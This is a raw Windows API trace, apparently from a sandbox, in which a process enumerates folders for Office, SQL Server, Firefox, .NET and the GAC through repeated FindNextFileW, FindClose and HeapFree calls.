	[0089.596] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0089.596] FindClose (in: hFindFile=0x3121250 | out: hFindFile=0x3121250) returned 1
	[0089.596] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0089.596] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0089.596] FindClose (in: hFindFile=0x3121210 | out: hFindFile=0x3121210) returned 1
	[0089.596] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0089.596] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0089.602] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0089.602] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0089.604] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0089.604] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21276, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCompare.rdlc", cAlternateFileName="ACCESS~1.RDL")) returned 1
	[0089.607] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0089.607] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMessageDismissal.txt", cAlternateFileName="EXCELM~1.TXT")) returned 1
	[0089.608] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0089.608] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c3c0a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c3c0a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x171878, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1
	[0089.609] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0089.611] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 0
	[0089.611] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0089.611] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0089.611] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1
	[0089.612] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0089.612] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0
	[0089.612] FindClose (in: hFindFile=0x3121210 | out: hFindFile=0x3121210) returned 1
	[0089.612] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0089.612] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0
	[0089.612] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0089.612] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0089.614] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0089.615] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0089.615] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0089.615] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0089.615] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0089.615] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0
	[0089.615] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0089.615] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0089.617] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0089.617] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0089.617] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0
	[0089.617] FindClose (in: hFindFile=0x3121210 | out: hFindFile=0x3121210) returned 1
	[0089.618] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0089.618] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0
	[0089.618] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0089.618] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0089.618] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0089.620] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0089.620] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1
	[0089.622] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0089.622] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0090.011] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0090.011] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0090.011] FindClose (in: hFindFile=0x31218d0 | out: hFindFile=0x31218d0) returned 1
	[0090.011] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.011] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0
	[0090.011] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0090.011] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0090.013] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1
	[0090.017] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0090.017] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0
	[0090.017] FindClose (in: hFindFile=0x3121250 | out: hFindFile=0x3121250) returned 1
	[0090.017] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.017] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1
	[0090.019] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0090.019] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0
	[0090.019] FindClose (in: hFindFile=0x3121250 | out: hFindFile=0x3121250) returned 1
	[0090.019] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.019] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1
	[0090.020] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0090.020] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0090.020] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0090.021] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.021] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessApplications.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1
	[0090.027] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0090.027] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0090.027] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0090.027] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.027] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData", cAlternateFileName="MICROS~2.BUS")) returned 1
	[0090.028] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0090.028] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0090.028] FindClose (in: hFindFile=0x3121250 | out: hFindFile=0x3121250) returned 1
	[0090.029] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.029] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 1
	[0090.029] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0090.029] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0090.029] FindClose (in: hFindFile=0x3121250 | out: hFindFile=0x3121250) returned 1
	[0090.029] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0090.029] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 0
	[0090.029] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0090.029] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0090.030] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 0
	[0090.031] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
